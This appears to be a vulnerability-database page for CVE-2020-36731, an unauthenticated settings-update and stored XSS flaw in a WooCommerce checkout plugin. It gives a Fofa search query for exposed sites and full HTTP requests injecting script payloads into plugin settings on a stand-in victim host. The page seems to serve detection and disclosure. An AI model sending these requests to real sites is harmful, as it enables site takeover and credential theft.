🔙 목록으로 돌아가기

CVE-2020-36731: Flexible Checkout Fields for WooCommerce <= 2.3.1 - Unauthenticated Arbitrary Plugin Settings Update

TitleFlexible Checkout Fields for WooCommerce <= 2.3.1 - Unauthenticated Arbitrary Plugin Settings Update
Authorpopcorn94
SeverityHigh
ImpactUnauthenticated attackers can arbitrarily update plugin settings and inject stored XSS payloads, potentially taking over the WordPress site or stealing administrator credentials.
RemediationFixed in 2.3.2.
CVSS Score7.2
EPSS Score0.1844
CVE IDCVE-2020-36731
CWE IDCWE-79
Fofa Querybody="/wp-content/plugins/flexible-checkout-fields/"
Tags cve cve2020 wordpress wp-plugin wp flexible-checkout-fields xss vkev vuln

🔍 Vulnerability Description

The Flexible Checkout Fields for WooCommerce plugin for WordPress is vulnerable to Unauthenticated Arbitrary Plugin Settings update, in addition to Stored Cross-Site Scripting in versions up to, and including, 2.3.1. This is due to missing authorization checks on the updateSettingsAction() function which is called via an admin_init hook, along with missing sanitization and escaping on the settings that are stored.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Safari/605.1.15
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=HygaTS&pwd=cxKwQ2&wp-submit=Log+In

POST /wp-admin/admin.php?page=inspire_checkout_fields_settings&tab=fields_order HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Connection: close
Content-Length: 894
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

option_page=inspire_checkout_fields_settings&action=update&inspire_checkout_fields%5Bsettings%5D%5Border%5D=&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Bname%5D=order_comments&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Bvisible%5D=1&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Bvisible%5D=0&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Brequired%5D=0&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Blabel%5D=Order+Notes&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Bplaceholder%5D=Notes+about+your+order%2C+e.g.+special+notes+for+delivery.&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Bclass%5D=&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_<script>alert(document.domain)</script>_%5D%5Bcustom_field%5D=1

POST /wp-admin/admin.php?page=inspire_checkout_fields_settings&tab=fields_order HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15
Connection: close
Content-Length: 2014
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

option_page=inspire_checkout_fields_settings&action=update&inspire_checkout_fields%5Bsettings%5D%5Border%5D=&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Bname%5D=order_comments&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Bvisible%5D=1&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Bvisible%5D=0&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Brequired%5D=0&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Blabel%5D=Order+Notes&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Bplaceholder%5D=Notes+about+your+order%2C+e.g.+special+notes+for+delivery.&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_comments%5D%5Bclass%5D=&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_%5D%5Bcustom_field%5D=1&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_%5D%5Bname%5D=order_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_%5D%5Bvisible%5D=1&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_%5D%5Bvisible%5D=0&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_%5D%5Brequired%5D=0&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_%5D%5Blabel%5D=&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_%5D%5Boption%5D=&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_%5D%5Btype%5D=text&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_%5D%5Bplaceholder%5D=&inspire_checkout_fields%5Bsettings%5D%5Border%5D%5Border_%3Cscript%3Ealert%282%29%3C%2Fscript%3E_%5D%5Bclass%5D=&reset_settings=Reset+Section+Settings

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-36731.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-36731.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A